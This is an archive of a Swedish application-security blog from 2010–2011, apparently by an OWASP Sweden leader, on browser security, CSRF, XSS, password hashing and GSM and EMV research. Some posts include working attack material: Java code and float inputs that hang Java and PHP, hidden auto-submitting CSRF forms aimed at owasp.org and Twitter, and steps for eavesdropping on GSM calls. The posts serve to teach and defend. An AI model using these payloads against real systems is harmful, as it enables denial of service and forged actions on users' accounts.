<textarea id="html" style="width:100%;height:190px;"></textarea>
<div id="canvas"></div>
<textarea id="log" style="width:100%;height:190px;"></textarea>
<div id="canvas2"></div>
<script>
var html = document.getElementById('html');
var log = document.getElementById('log');
var canvas = document.getElementById('canvas');
var canvas2 = document.getElementById('canvas2');
var updateCanvas = function(){
    canvas.innerHTML=html.value
    log.value=canvas.innerHTML;
    canvas2.innerHTML=canvas.innerHTML;
};
html.onkeyup = updateCanvas;
window.onload = updateCanvas;
</script>
</body>
</html>

Framtiden för webbläsarsäkerhet (från OWASP Summit)

2011-02-24T22:54:00.000+01:00

Jag hade hand om fem sessioner inom området webbläsarsäkerhet på OWASP Summit 2011. Vi hade deltagare från Google Chrome, Mozilla Firefox, Microsoft Internet Explorer, PayPal, Adobe Flash, IETF, ENISA samt några av de grymmaste webbhackers jag känner till – sirdarckcat, .mario, Gareth Heyes, Stefano Di Paola, och Thornmaker.

Nu har vi precis offentliggjort anteckningarna från dessa fem sessioner. Läs hur diskussionerna gick:

Facebook-inställning för HTTPS

2011-02-04T16:16:00.001+01:00

Facebook erbjuder nu en ny säkerhetsinställning – "Säker anslutning (https)". Antagligen en reaktion på "Firesheep" som uppmärksammades stort i höstas. Inte alla svenska Facebookanvändare kan göra den nya inställningen än eftersom Facebook lanserar det stegvis.

Du måste göra inställningen själv. Gör så här:

Klicka på Konto uppe till höger
Välj Kontoinställningar
Klicka på Kontosäkerhet på sidan som öppnats
Kryssa i "Säker anslutning (https)"
Klicka på den blå knappen "Spara".

Mario Heiderich till OWASP Sweden 7/3

2011-02-03T20:06:00.007+01:00

Måndag 7 mars kommer Mario Heiderich hålla två föredrag för OWASP Sweden. Han ligger bakom t ex HTML5 security cheat-sheet och filterreglerna i PHPIDS. Jättekul att vi har kunnat bjuda in honom!

Presentation ett
The forbidden image - Security impact of Scalable Vector Graphics on the WWW

Scalable Vector Graphics are about to conquer the web. Unlike most of their raster based companions from the GIF, PNG and JPEG family, their vector based structure allows to display them on many different devices with various screen sizes without losing visual information. The open XML based SVG sources permit addition of meta data, helping even the visually impaired and blind to get the most out of these images. Additional modules, such as animations, events, SVG fonts, several scripting APIs and inclusion of hyper-links, other images and documents and even arbitrary content from cross-domain sources make SVG the perfect image format for the future WWW.

Nevertheless, a powerful standard such as SVG certainly poses a lot of risks. This presentation provides a close look at SVG from a security perspective. How can attackers abuse this mighty image format, which ways exist to execute script code and worse, and what should web developers and browser vendors consider when dealing with SVG. How will HTML5 change the way to work with SVGs and why does it matter for security professionals to know about things like SVG Tiny, in-line SVG, SVGz and other acronyms from a world where imaging and scripting collide? Besides many examples of malicious SVGs the talk will shed light on a novel filtering tool capable of filtering and sanitizing SVG images without loss of important content.

Presentation två
Locking the Throne Room - ECMA Script 5, a frozen DOM and the eradication of XSS

Cross Site Scripting has been a topic in countless presentations over the last decade. That easy to grasp but hard to solve problem has been shaking the web and caused major trouble on hundreds to thousands of high traffic and commercial and well as governmental websites. Mitigation techniques have been developed and discussed in depth - starting with restrictive content filters, educational programs and trainings, programmer's best practices and guidelines, proxy filters and many more. Still XSS remains a major problem far from being solved. The multilayer model on which the web relies causes too much reciprocity to find an easy cure - and the DOM as the actually affected layer is still lying unprotected open for the attacker.

This presentation introduces and discusses a novel approach of encountering XSS and similar attack techniques by making use of several new features included in the ECMA Script 5 specification draft. It will be shown how to create a simple JavaScript to seal important DOM properties, and take away the attackers ability to read and modify sensitive data in a tamper resistant and light-weighted way - without being "too loud". Modern browsers, such as Chrome 8 and Firefox 4, for the first time provide the possibility of creating and using client side IDS/IPS systems, written in JavaScript and running without special execution privileges. The presentation will show how these work, what the implications are, and what the future of XSS mitigation and eradication might look like.

Anmäl er konstnadsfritt här:
http://marioheiderich.eventbrite.com

Ny RFC om server-autentisering vid SSL/TLS

2011-02-02T01:22:00.000+01:00

I dagarna kom en mycket intressant RFC som precis nått Proposed Standard RFC inom IETF.

Drakoniskt namn: Representation and Verification of Domain-Based Application Service Identity within Internet Public Key Infrastructure Using X.509 (PKIX) Certificates in the Context of Transport Layer Security (TLS)

Men den specar hur SSL-cert bör se ut och hur server-autentisering med X.509-cert ska gå till.

Tre intressanta saker som är med:

Sluta ange domännamn i certifikatets Common Name
Börja ange domännamn i subjectAlternativeName dNSName
Sluta med joker-certifikat, t ex *.owasp.org

Här länken: http://tools.ietf.org/html/draft-saintandre-tls-server-id-check-14

DoS:a Java med en siffra

2011-02-01T13:21:00.001+01:00

Ni kanske läste inlägget om att DoS:a PHP med en siffra? Nu åker Java dit också (se Rick Regans och Konstantin Preissers bloggpost). Följande försätter Java i en oändlig loop:

public class RunHang {
_public static void main(String[] args) {

__System.out.println("Test:");

__double d = Double.parseDouble("2.2250738585072012e-308");

__System.out.println("Value: " + d);

_}
}

Och följande hänger kompilatorn:

public class CompilerHang {

_public static void main(String[] args) {

__double d = 2.2250738585072012e-308;

__System.out.println("Value: " + d);

_}
}

Vill ni testa? Bara att klona från BitBucket med Mercurial:

$ hg clone https://bitbucket.org/johnwilander/dosjava

Eller ladda hem en zip:
https://bitbucket.org/johnwilander/dosjava/downloads

... och sen köra "java RunHang" för att hänga Java eller "javac CompilerHang.java" för att hänga kompilatorn.

JavaScript-utmaning inför OWASP Summit

2011-01-23T22:41:00.000+01:00

Nyss offentliggjordes första rundan av vår officiella OWASP Summit Challenge "makeXORbreak". Man ska skriva ett skript som visar sitt namn på sidan bättre (mer prominent) än medtävlarna. Fula tricks och bråk om DOM:en väntar.

Läs allt och sätt igång på http://makeXORbreak.com.

XSS-skanner som Chrome-tillägg

2011-01-21T19:04:00.001+01:00

Gareth Heyes har släppt sin cross-site scripting-skanner "XSS Rays" i ny version, denna gång som ett Google Chrome-tillägg. Läs om verktygets funktioner och ladda ner tillägget.

Topp 10 Web Hacking Techniques 2010

2011-01-17T21:02:00.003+01:00

Jeremiah Grossman publicerade nyss Top 10 Web Hacking Techniques 2010 – den årliga listan som röstas fram av communityn och sponsras av bland annat OWASP.

'Padding Oracle' Crypto Attack (poet, Padbuster, demo, ASP.NET), Juliano Rizzo, Thai Duong
Evercookie, Samy Kamkar
Hacking Auto-Complete (Safari v1, Safari v2 TabHack, Firefox, Internet Explorer), Jeremiah Grossman
Attacking HTTPS with Cache Injection (Bad Memories), Elie Bursztein, Baptiste Gourdin, Dan Boneh
Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution, Lavakumar Kuppan, Manish Saindane
Universal XSS in IE8 (CVE, White Paper), Eduardo Vela (sirdarckcat), David Lindsay (thornmaker)
HTTP POST DoS ,Wong Onn Chee, Tom Brennan
JavaSnoop, Arshan Dabirsiaghi
CSS History Hack In Firefox Without JavaScript for Intranet Portscanning, Robert "RSnake" Hansen
Java Applet DNS Rebinding, Stefano Di Paola

Den svaga länken (rolig bild)

2011-01-14T13:01:00.002+01:00

Det brukar ju inte vara en massa lustigheter på den här bloggen men ibland så. Tyckte nedanstående bild var rätt skoj. Antagligen ett arrangemang men ändå.

Den svaga länken.

DoS:a PHP med en siffra

2011-01-05T16:34:00.006+01:00

Flyttalet 2.2250738585072011e-308 hänger PHP 5.3 och öppnar upp för enkla men effektiva DoS-attacker.

Varför? Läs vidare.

Normala flyttal
Ett 64-bitars flyttal representeras av en teckenbit, elva exponentbitar och 52 mantissabitar. Elva bitar till exponenten innebär att minsta tillåtna exponent är -1022 och den maximala är 1023.

Ett så kallat normalt flyttal karaktäriseras också av att första siffran i mantissan är skild från noll, t ex 6.008043e10. Om första siffran vore noll, t ex 0.540030002e13 så skulle ju talet kunna skrivas 5.40030002e12, dvs med femman först, tolv som exponent och man hade tjänat en siffras precision i mantissan. Därför har man också kunna tolka den första biten som implicit eller gömd. Alltså har man 53 bitars precision i mantissan.

Det betyder att det minsta normala, 64-bitars flyttalet är binärt 1e-1022, decimalt 2.2250738585072010e-308.

Subnormala tal
Vad händer om datorn får ett resultat som är mindre än 1e-1022? Tidigare så ledde det till "flush to zero", dvs resultatet blev noll. Men sen kom man på att till priset av förlorad precision (= mindre antal signifikanta siffror i mantissan) så kunde man fortfarande representera resultatet som ett flyttal. Tricket var att låta första biten i mantissan vara noll för dessa subnormala tal! Exponenten representeras av bara nollor.

Nu plötsligt kunde man representera tal som 0.0000000010111e-1022.

Subnormala tal och PHP
Låt oss nu titta på det där talet som hängde PHP 5.3.

2.2250738585072011e-308 = 0.1111111111111111111111111111111111111111111111111111 x 2^-1022

I minnet representeras det av:
Teckenbiten: 0
Exponenten: 00000000000
Mantissan: 1111111111111111111111111111111111111111111111111111

Om ni räknar ettorna så ser ni att de är 52 till antalet. Tillsammans med den inledande nollan (implicit för 0-exponent) så fyller de hela mantissan på 53 bitar. Vi har alltså att göra med det största möjliga, subnormala flyttalet i ett 64-bitarssystem.

Och det värdet hänger tydligen PHP 5.3!

XSS via PayPal-betalningar

2011-01-04T14:04:00.001+01:00

Ibland händer sånt som man normalt bara skämtar om. Book injection förra månaden var en sådan grej. Nu visar det sig att meddelandefältet vid PayPal-betalningar tillåter JavaScript, dvs möjliggör cross-site scripting. Man slutar aldrig att förvånas.

Ny fuzzer hittar 100 buggar i WebKit, FF, IE och Opera

2011-01-02T02:24:00.000+01:00

Michal Zalewski (@lcamtuf) släppte igår sin nya fuzzer cross_fuzz som har hittat hundratalet buggar i alla de stora webbläsarna. Den åstadkommer sin magi genom att parse:a DOM:en i en flik, samla info om alla objekt, ändra egenskaper och anropa funktioner, sen stänga det dokumentet och använda de insamlade referenserna i en ny flik. Webbläsarna får typiskt problem med sin garbage collection där objekt överlever fast de inte ska och så vidare. Läs om algoritmen och buggarna på hans blogg.

En allvarlig del i det hela är att teamet bakom Internet Explorer inte patchat de buggar som är av säkerhetskaraktär. På sex månader. Michal publicerar en logg där man kan följa den frustrerade diskussionen med IE-folket. Börja läs vid "1) July 26, 2010: original report to MSRC, noting multiple crashes and GDI corruption issues. Acknowledged, case 10205jr."

Icke-ASCII blir '?' i lösenord hos Gawker

2010-12-31T11:14:00.003+01:00

Jag har ägnat ett par dagar åt att rota i vettiga lösningar på lösenordshantering i kölvattnet av Gawker-hacket och alla de knäckta lösenordshasharna.

Individuell saltning av varje lösenord löser rainbow table-problemet. Men så länge användare tillåts ha korta lösenord (Amazon och Apple tillåter exempelvis sex tecken) så är ren brute force fullt möjligt. Och det blir inte bättre i takt med att datorer blir snabbare.

Bästa alternativen verkar vara Secure Remote Password protocol som jag skrev om i förrgår eller att nyttja maximal långsamhet i Blowfish, det vill säga bcrypt à la OpenBSD. Olle Segerdahl kommenterade bloggen med dessa tips i februari i år under mitt inlägg om genererade toString().

ДДДДДДДД == 簡簡簡簡簡簡簡簡 == ©©©©©©©©?
Joseph Bonneau, doktorand vid Cambridge, upptäckte att Gawker tolkar alla icke-ASCII-tecken i lösenord som likvärdiga. Dvs du kan logga in på ett konto som har lösenordet "ДДДДДДДД" med valfritt annat icke-ASCII-lösenord med samma antal tecken, t ex "簡簡簡簡簡簡簡簡" och "©©©©©©©©".

Problemet visade sig vara en bugg i jBCrypt innan v 0.3 där alla icke-ASCII-tecken byttes ut mot '?' innan hashning. Det finns beskrivet i en advisory från februari i år.

Fyra slutsatser:

Uppgradera om ni använder jBCrypt < 0.3.
Använd bara ASCII-tecken i era lösenord och låt istället längden ge er säkerhet mot brute force. Det är bra när ni är utomlands också.
Gawker kör åtminstone nu bcrypt vilket trots allt hedrar dem. Alla ni med vanliga lösenordshashar i databasen bör ta en funderare.
Om Gawker körde bcrypt redan i våras så var det särdeles dumt att inte uppgradera jBCrypt till 0.3 när patchen kom i februari. Om de driftsatte jBCrypt 0.2 efter hacket så var det ännu dummare. Men det sätter återigen fingret på ramverks- och bibliotekspatchning. Vem håller koll på alla säkerhetsuppdateringar i olika lib man har länkat in? "Ingen" är min gissning i de flesta fall.

Gott nytt år!

Secure Remote Password Protocol

2010-12-29T22:19:00.002+01:00

Du ska logga in och etablera en symmetrisk sessionsnyckel.

Attackeraren känner till autentiseringsalgoritmen.
Attackeraren har ordbok och topplista på lösenord.
Attackeraren kan avlyssna all klient/server-trafik tills du har din symmetriska nyckel.
Attackeraren kan avbryta, ändra och förfalska klient/server-trafik.
Det finns ingen betrodd tredje part.
Du vill ha något säkrare än SSH och snabbare än ren Diffie-Hellman.
Du vill ha zero-knowledge password proof, dvs du visar aldrig lösenordet utan bevisar bara att du har lösenordet.
Du vill inte att en SQL injection ska ge attackeraren en vanlig lösenordshash (MD/SHA) att knäcka. Inte ens en statiskt saltad hash duger för dig.
Du vill använda ett enkelt lösenord.

Du vill ha ...
http://en.wikipedia.org/wiki/Secure_Remote_Password_protocol

Version 6, hårdgranskat, från Stanford. Så coolt att jag baxnar.

Avlyssna GSM med 4 billiga mobiler + laptop

2010-12-29T18:31:00.004+01:00

GSM, eller 2G, har ju fått en hel del stryk på sistone, inte minst i somras på Defcon. Nu verkar spelet slutligen vara över för GSM-säkerheten. Åtminstone tills operatörerna gör förändringar.

Med hjälp av fyra stycken enkla mobiltelefoner för ca 100 kr styck och en laptop så visade man lajv att man kunde avlyssna GSM-samtal och sms på Chaos Computer Clubs (CCC) årliga kongress. Wired skriver om det här.

Steg 0 – lokalisera offrets geografiska område
Om vi tänker oss att vi ska avlyssna någon så börjar det hela med att komma tillräckligt nära geografiskt. Presentatörerna visade hur man med vanliga anrop på Internet kan ta reda på i vilken stad eller vilket område en mobil befinner sig. Det sker genom att operatörerna är ganska öppna med routing-information för att slussa samtal och sms rätt.

Steg 1 – hitta nätverks-id för offrets telefon
De fyra avlyssningsmobilerna uppdaterades med ny firmware för att kunna vidarebefordra den fullständiga GSM-trafiken till laptopen. Sen skickas trasiga sms till det telefonnummer man vill avlyssna. De trasiga sms:en kommer inte synas på offrets telefon men ger attackeraren chansen att ta reda på vilket nätverks-id offrets telefon har fått tilldelat av operatören. Det i sin tur är nyckeln till att veta vilken trafik som ska avlyssnas i GSM-nätet, nämligen all trafik till och från det nätverks-id:t.

Steg 2 – knäck kryptot
När nu offrets krypterade mobiltrafik kan avlyssnas så gäller att knäcka GSM-kryptot. Det görs genom att utnyttja brister i operatörens systemkommunikation med sina kunders mobiltelefoner. Den kommunikationen är nämligen känd hur den ser ut, t ex regelbundna "Är du där?"-meddelanden.

Attackeraren vet att meddelandet i klartext är "Är du där?" och har avlyssnat hur det ser ut i krypterad form (kryptotexten). Sen används en regnbågstabell (rainbow table) på 2 TB med förberäknade kryptotexter för olika nycklar. Inom 20 sekunder hittar man vilken kryptonyckel som används för offret och vips så kan man avlyssna trafiken. Observera att man utan besvär kan spela in den trafik som försiggår under de 20 sekunder man letar efter rätt nyckel. Varje kryptonyckel används typiskt för flera samtal eller sms i rad.

Åtgärder
Presentatörena på CCC gick igenom några enkla åtgärder som mobiloperatörerna bör vidta:

Se till att routing-information inte är så enkelt tillgänglig via nätet
Implementera den redan standardiserade ändringen att lägga till slump ("salta") systemkommunkationen till mobilerna så att kryptot blir svårare att knäcka
Byt kryptonyckel varje samtal och sms istället för att återanvända den

Nytt om EMV-hacket

2010-12-27T00:14:00.002+01:00

Ni minns säkert vårens snackis om Cambridge-hacket mot chipförsedda betal- och kreditkort och standarden EMV. Jag bloggade i alla fall om det:

Cambridge-gruppen har förstås forskat vidare och i somras publicerades "The Smart Card Detective: a hand-held EMV interceptor" (pdf).

Delar av bankvärlden gillade inte den publikationen och skrev ett uppfordrande brev till universitetet. Nu har Ross Anderson svarat, punkt för punkt, under rubriken "Responsible disclosure and academic freedom" (pdf). Läsvärt.

Årskrönika 2010

2010-12-26T21:25:00.007+01:00

Det är mellandagsrea och dags att summera ännu ett år inom applikationssäkerhetsscenen.

Jag börjar självklart med ...

OWASP AppSec Research 2010
Den stora händelsen för OWASP Sweden var förstås värdskapet för OWASP AppSec, den globala konferensen inom applikationssäkerhet. Två dagar med fem olika kurser och två dagar med tre parallella spår och en blandning av akademiska presentationer och industripresentationer.

Ärligt talat så höll det hela på att knäcka mig. Jag uppskattar min egen arbetsinsats till ~1000 timmar. Därtill kommer kommitténs hårda arbete – tack Mattias, Stefan, Martin, Alan, Carl-Johan, Michael, Kåre, Ulf och Predrag! Kate och Sebastien från OWASP är också väl värda sitt tack. På upploppet så drog jag in min flickvän Johanna och hennes kompis Marie också.

Men det var värt det. Att se det hela fungera och med 270 nöjda deltagare är en stor känsla. Dave Wichers, ansvarig för konferensfrågor i OWASP-styrelsens mejl efteråt var ännu större:

"I just wanted to thank you and your team for doing an AMAZING job at the OWASP Sweden conference. This was the best organized conference ever.
(...)
And financially it was outstanding as well! Looks like close to $100K to the good, which blows away any other European conference by far. OWASP really needs the funds as things have been very tight the past two years and this is extremely helpful to us."

Så, sponsorer, alla som var där och alla som hjälpte till – sträck på er! Vi gjorde det och vi har gjort något riktigt bra för OWASP-stiftelsen!

Applikationssäkerhet 2010
År 2010 har varit spännande på applikationssäkerhetsscenen. Min summering ...

Ny OWASP Top 10
Vi var med och spikade en ny OWASP Top 10. Många frågade sig varför den är så lik listan från 2007. Det frågar vi alla oss :/. Men jag känner faktiskt att nummer 1 – Injection – är på väg att blekna. Ett i många fall lätt problem att undvika och något som utvecklare har tagit till sig.

Största smällen enligt mig
Men jag tycker inte att OWASP Top 10 2010 har varit mest spännande utan faktiskt något som var på väg in på topp-tio-listan men som till slut ansågs sortera under det flummiga "A6. Security Misconfiguration". Vad? Jo, ramverkssäkerhet. Under 2010 så small det rejält i tre stora webbramverk:

Sanning och säga, det rörde sig ju om säkerhetsbuggar i ramverken och inget som de lokala utvecklarna kunde hållas ansvariga för. Samtidigt så satte det fingret på hur applikationslagret har blivit en allt viktigare komponent att hålla koll på. Ovanstående problem gick inte att lösa med någon normal patchhantering. Nej, utvecklarna fick kallas in oavsett tid på dygnet eller semesterplanering för att patcha, regressionstesta och driftsätta. Jag tror många säkerhetsansvariga har fått en del att fundera på sen dess. Vilka teknikval görs och av vem? Ska vi ha rutiner för "patchning" i applikationslagret? Vilka versioner av webbramverken (ofta flera) är i drift?

Säkerhetssansvariga + applikationssäkerhet = falskt?
I samband med ovanstående säkerhetsproblem i ramverk blev jag ganska ledsen över att vårt OWASP AppSec-erbjudande till SIG Securitys medlemmar bara lockade en enda person. Om någon förstår varför så får ni gärna berätta. Applikationssäkerhet och engagemang i utvecklingsavdelningen är en av säkerhetsfolkets viktigaste arenor när vi nu går mot 2011. Brandväggar, patchhantering, nätverkskonfiguration och policys i all ära men man måste också intressera sig för de applikationer som organisationen utvecklar och förvaltar.

SDLC till Sverige
2010 var också året då vi (= företaget jag arbetar på) började få flera frågor om hjälp med Security Development Lifecycle (SDLC). Flera stora svenska organisationer håller på att införa en SDLC och jag tror det kommer prägla 2011. Frågan är hur väl SDLC gifter sig med agila metoder och om säkerhets- eller utvecklingsavdelningen ska ha hand om SDLC-införandet och -förvaltandet?

Alla väntar på Internet Explorer 9
Microsoft gav sig återigen in i webbkriget med Internet Explorer 9 (än så länge beta). Kanske skönjer vi ett slut på ökenvandringen där webbutvecklare ägnade manmånader åt att få en i övrigt utmärkt app eller sajt att fungera i IE6-8. Om vi bara kan få alla stora organisationer att uppgradera till Windows 7 + Internet Explorer 9 under 2011 så går vi en lysande framtid till mötes, med stöd för HTML 5 och CSS 3.

Men är inte HTML 5 och CSS 3 en abyss av säkerhetshot? Jo, det finns mycket elände längs vägen framåt. Mario Heiderich underhåller en tämligen diger lista på problem som kan relateras till webbens sentida utveckling. Och den växer typ dagligen.

Samtidigt så är ju webben framtiden. Vi inom applikations- och webbsäkerhet ska baske mig se till att alla utvecklare kan skapa nya, grymma tjänster utan att behöva tänka på säkerhet 25 % av tiden. Webbläsar- och RFC-makarna är viktiga komponenter. Engagera er i de nya teknikerna. Läs specarna, ifrågasätt och rota runt. Sånt är vi bra på och bör bidra med.

Säkerhet 2010
Om vi blickar utanför applikationslagret så finns förstås en hel del intressanta säkerhetshändelser 2010.

Cyberkrig 1: Stuxnet
Stuxnet har goda chanser att gå till historien som 2010 års stora säkerhetshändelse. Kanske får vi aldrig reda på dess bakgrund eller syfte men bara det faktum att vi på allvar tror att en eller flera stater låg bakom det och att syftet var att sänka en kärnkrafts/-vapenindustri är nog för en Bondfilm. Cyberkrigföring har varit känt länge inom säkerhetskretsar men nu är det ett allmänt känt fenomen och något som försvarsmakter, politiker, industrier och polismyndigheter måste förhålla sig till.

Intressant nog så har Stuxnet inte på ett nog tydligt sätt väckt frågan om den många gånger skandalöst dåliga IT-säkerheten i vår infrastruktur, t ex elförsörjningen.

Cyberkrig 2: DoS mot Wikileaks
Alla denial-of-service-attacker mot Wikileaks och hur de flyttade runt sajten är en tekniskt och affärsmässigt mycket intressant resa. De jag pratat med tror Amazon primärt tänkte på alla förlorade dollar som låg i en upprörd amerikansk allmänhet mitt i julhandeln.

Inom OWASP har dessa attacker väckt frågan om hur man effektivast skyddar sig mot DoS-attacker. För det är betydligt fler än Wikileaks som utsätts för DoS och DDos. Många gånger handlar det om utpressning men som i fallet med The Jester så är det hacktivism det handlar om. En enskild person med en politisk agenda kan få för sig att attackera valfria sajter och vi borde hjälpas åt att ta fram praxis för hur man skyddar sig.

Cyberkrig 3: DDoS mot Visa och MasterCard
Sen har vi ju LOIC-attackerna mot exempelvis Visa och MasterCard. Det kan närmast liknas vid massdemonstrationer på nätet som Richard Stallman skrev. Att kalla det för intrång eller attacker blir svårt. Det blir förstås en uppsåtsfråga eftersom samma typ av belastning uppstår under extrema nyhetshändelser såsom 9/11-bombningarna och tsunamin. Är man kriminell för att man hämtar en jpg med HTTP GET flera gånger? Kanske. Godtycke är dock det första jag vill bli av med i den frågan.

Gräv och du skall finna
Under 2010 skedde ett antal uppmärksammade hack som i princip byggde på att någon börjat gräva i ett hörn av tekniken och förstås hittat en massa säkerhetshål. Exempel:

Hela stämningen i hackervärlden är ju just sådan. "Börja gräv någonstans och du skall finna säkerhetshål!" Black Hat och Defcon inspirerade mig till just det så jag har ägnat den senaste tiden åt att implementera lite ny säkerhetsteknik och köra den med webbläsare som påstår sig ha stöd. Mycket riktigt så hittar man problem. Allt sådant kan ni följa på min nya, engelskspråkiga blogg "Apps and Security".

Nya tag hos bankerna
Jag känner också av ett omtag hos de svenska bankerna. Sverige brukar framhållas som säkert jämfört med stora delar av omvärlden och jag är böjd att hålla med. Men för att hålla den ställningen så krävs omtag. Trojaner, man-in-the-browser och hack som det mot chipkort knackar på dörren konstant. Det skulle inte förvåna mig om de svenska bankerna lanserar nya säkerhetslösningar under 2011.

John 2010-2011
Jag brukar ju nämna några personliga saker i krönikan också. Sist skrev jag om planer på ett singelsläpp under våren men någon singel har ni nog inte sett till. AppSec-konferensen slukade mig helt och hållet. Men jag ger inte upp utan har tagit tjänstledigt i tre månader för att primärt arbeta med musiken. Jag ska också försöka ta tag i min sista forskningsartikel inför doktorsavhandlingen. Lustigt nog så vill chefer och bekanta gärna nämna det där doktorsarbetet som orsaken till min ledighet. För inte kan väl en vuxen man ta ledigt i tre månader för att hålla på med musik? Jo, det kan han. Och jag står för det också. Jag ska primärt ägna mig åt musik i tre månader. Read it and weep ;).

Men jag kommer ju inte lämna OWASP under dessa månader. T ex så är jag ansvarig för spåret "Browser Security" vid OWASP Global Summit 2011 som går av stapeln i Portugal 8-11 februrari. Workshop med Chromes, Firefox och IEs säkerhetsfolk plus en massa grymma webbsäkerhetsmänniskor inom och utanför OWASP. Vill ni haka på? Bara ni kan ordna €590 till boende och mat plus en flygresa till Portugal så är ni välkomna. OWASP är som vanligt helt öppet – det är bara att dyka upp och göra sin röst hörd! Hör av er så hjälper jag till med det praktiska.

OWASP Sweden 2011
OK, jag har varit rätt slutkörd under hösten och inte mäktat med att fixa alla de där seminariekvällarna som vi vill ha. Men kraften börjar komma åter och tillsammans med mina co-leaders Mattias och Robert samt ledningsrådet så har vi några event på gång i närtid. Om allt går som jag vill så kör vi "HTTP-säkerhet" med undertecknad, Daniel "Haxx" Stenberg och Martin Holst-Swende på programmet i slutet av januari. Sen har vi kontaktat Mario Heiderich (typ bäst i världen på HTML5-säkerhet) och kommer flyga in honom februari/mars.

Vi kommer också att ta in ett par nya personer i ledningsrådet precis som lovat tidigare. Fundera på om du vill vara med och planera vad som ska hända framöver. Eller kanske din kollega?

Sist men inte minst så öppnar vi som första chapter dörrarna till en ny diskussionslista – OWASP Sweden Discuss. Där kan man skicka lästips, diskutera applikationssäkerhet, bjuda in till intressanta event och till och med skicka ut jobberbjudanden. Det enda vi inte vill ha där är reklam eller gnäll över särskilda leverantörer och varumärken. Anmäl er bums.

Med det så önskar jag och OWASP ett gott nytt år. Vi ses 2011!

Hänglåset borta i FF4

2010-12-20T21:23:00.001+01:00

Mozilla har tagit bort hänglåset som symbol för https i Firefox 4. Istället lanserar de en site identity button. Bra eller dåligt? Diskussionen går varm på mejlinglistor och bloggar.

Läs om det hela här:
https://support.mozilla.com/en-US/kb/Site%20Identity%20Button

Book Injection (helt otroligt)

2010-12-17T20:31:00.002+01:00

Böcker om hacking innehåller förstås ... elak kod. Så boken "XSS Attacks: Cross Site Scripting Exploits and Defense" innehåller förstås cross-site scripting-kod. Vad händer när amazon.com vill visa lite av innehållet i sådana böcker och glömmer att html-koda det hela? Det kan ni ta reda på genom följande enkla steg (inget farligt sker så vitt jag vet):

1. Logga in på amazon.com (man måste vara inloggad för att få söka i böcker)
2. Sök efter "XSS Attacks"
3. Boken ska dyka upp som första träff, välj den (eller om du är inloggad så klicka här direkt)
4. Klicka på "search inside this book"
5. Sök efter '1000' (utan fnuttar)
6. Hovra muspekaren över första sökträffen (sidan 28)

Eller läs om det hela på http://drwetter.eu/amazon/.

(Bloggpost 100 i år – tjoho!)

CSRF via POST

2010-12-12T22:05:00.002+01:00

Jag håller på att förbereda mig för en presentation på OWASP IBWAS'10 i veckan. En av sakerna jag tänkt visa är CSRF mot POST-metoder och det sessionslösa CSRF-skyddet "double submit".

CSRF
CSRF (cross-site request forgery) innebär att en attacksajt som lurar till sig icke ont anande surfare gör anrop in till en annan sajt och därigenom utnyttjar att offrets webbläsare automatiskt lägger till sessions-/autentiseringskakor i request:et. Det blir alltså ett legitimt anrop till servern utan att offret vet eller ser något.

CSRF mot GET
Normalt snackas det ju om CSRF mot GET-metoder. Dessa kan göras med enkla img-taggar, typ:

<img src="http://www.google.com/search?q=OWASP" border="0" height="0" width="0" />

Den taggen på attacksajten kommer alltså att göra en Google-sökning på "OWASP" med offrets Google-identitet och inget syns. Skälet till att detta fungerar är att bilder får hämtas cross-domain och att webbläsaren inte har en aning om att den URL:en inte kommer returnera en bild.

Men de flesta känsliga requesten är POST (eller PUT/DELETE i dessa REST-tider) och kan alltså inte anropas med en img-tagg. En riktig formulär-POST skickar ju dessutom inparametrar i request-kroppen och kan därför inte ha dem uppradade på URL:en som i fallet ovan med ?q=OWASP.

CSRF mot POST
Kan man då göra CSRF mot POST-metoder? Japp. Tänk er en URL owasp.org/ws/oneliners som tar emot enradskommentarer av användare autentiserade till owasp.org. Då skulle attacksajten kunna innehålla följande formulär:

<form id="target" method="POST" action="https://owasp.org/ws/oneliners" style="visibility:hidden">
<input type="text" value="I hate OWASP!" name="oneLiner"/>
<input type="submit" value="Go" />
</form>

... och sen har följande JavaScript, i det här fallet byggt på JQuery:

<script type="text/javascript">
$(document).ready(function() {
$('#target').submit();
});
</script>

... vilket innebär att så fort ett offer surfar in på attacksajten så postar han/hon "I hate OWASP!" till one liners-URL:en.

POST-CSRF mot Twitter?
Går denna attack att genomföra mot stora kommersiella tjänster? Ja, det har gått men tjänsteleverantörerna har lärt sig och implementerat skydd, ofta det så kallade double submit-skyddet.

Ett CSRF-formulär som twittrar åt offret skulle se ut så här:

<form id="target" method="POST" action="https://twitter.com/status/update" style="visibility:hidden">
<input type="text" value="74691c4d14f2c70d0936e2478fb09f68d532282" name="authenticity_token"/>
<input type="text" value="This was sent via POST CSRF" name="status"/>
<input type="text" value="true" name="twttr"/>
<input type="text" value="true" name="return_rendered_status"/>
<input type="text" value="" name="lat"/>
<input type="text" value="" name="lon"/>
<input type="text" value="" name="place_id"/>
<input type="text" value="false" name="display_coordinates"/>
<input type="submit" value="Go" />
</form>

Som ni ser så finns det en intressant parameter authenticity_token. Utan att ha avkodat Twitters alla cookies så förmodar jag att det är ett double submit-skydd. För varje request till Twitter-sidan så skickas en kaka med ett slumpgenererat värde med. För att en POST ska godkännas så ska denna kaka ha samma värde som POST-parametern authenticity_token. Eftersom attacksidan aldrig kan läsa offrets Twitter-kakor innan requestet så kan den heller inte inkludera en korrekt authenticity_token. Svaret från Twitter blir:

403 Forbidden: The server understood the request, but is refusing to fulfill it.

Modern DoS för och emot Wikileaks

2010-12-11T16:36:00.007+01:00

Wikileaks, #cablegate och hacktivism. Känsliga ämnen som jag undviker att ha en åsikt om, åtminstone med OWASP- eller konsulthatten på ;). Men det finns förstås en massa intressant säkerhetsteknik att titta på. I det här fallet belastningsattacker både för och emot Wikileaks (och Julian Assange).

De senaste två veckorna har världen i stort fått bekanta sig med två moderna former av denial-of-service – XerXeS och LOIC. Jag håller mig ju normalt till applikationslagret men det är klart att sånt här är intressant.

th3j35st3r (DoS emot)
Hacktivisten The Jester (th3j35t3r på Twitter) påpekade att hans/hennes belastningsattacker mot Wikileaks i samband med senaste släppet inte var en DDoS-attack, dvs inte en distribuerad belastningsattack med hjälp av zombie-datorer eller botnät:

Det var istället en DoS från en enda dator. Jag har alltid försökt skilja DoS och DDoS eftersom en bugg i ett protokoll, en webbserver eller en applikation kan möjliggöra en DoS-attack helt utan zombies.

The Jester – En hacktivist
The Jesters bio på Twitter lyder:
"Hacktivist for good. Obstructing the lines of communication for terrorists, sympathizers, fixers, facilitators, oppressive regimes and other general bad guys."

... och Jester omnämns typiskt "the infamous patriot hacker The Jester (th3j35t3r)".

